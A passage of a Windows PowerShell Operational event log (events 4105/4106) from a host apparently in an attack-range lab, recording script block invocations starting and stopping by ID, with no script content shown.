ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052001
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052000
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051999
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051998
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051997
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051995
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051994
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051993
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051992
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051991
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051989
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051988
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051987
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051985
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051984
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051983
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051981
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051980
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051979
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051977
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051976
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051975
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051973
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051972
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051971
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051969
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051968
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051967
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051965
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051964
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051963
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051961
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051960
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051959
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051957
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051956
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051955
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051953
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051952
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051951
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051949
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051948
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
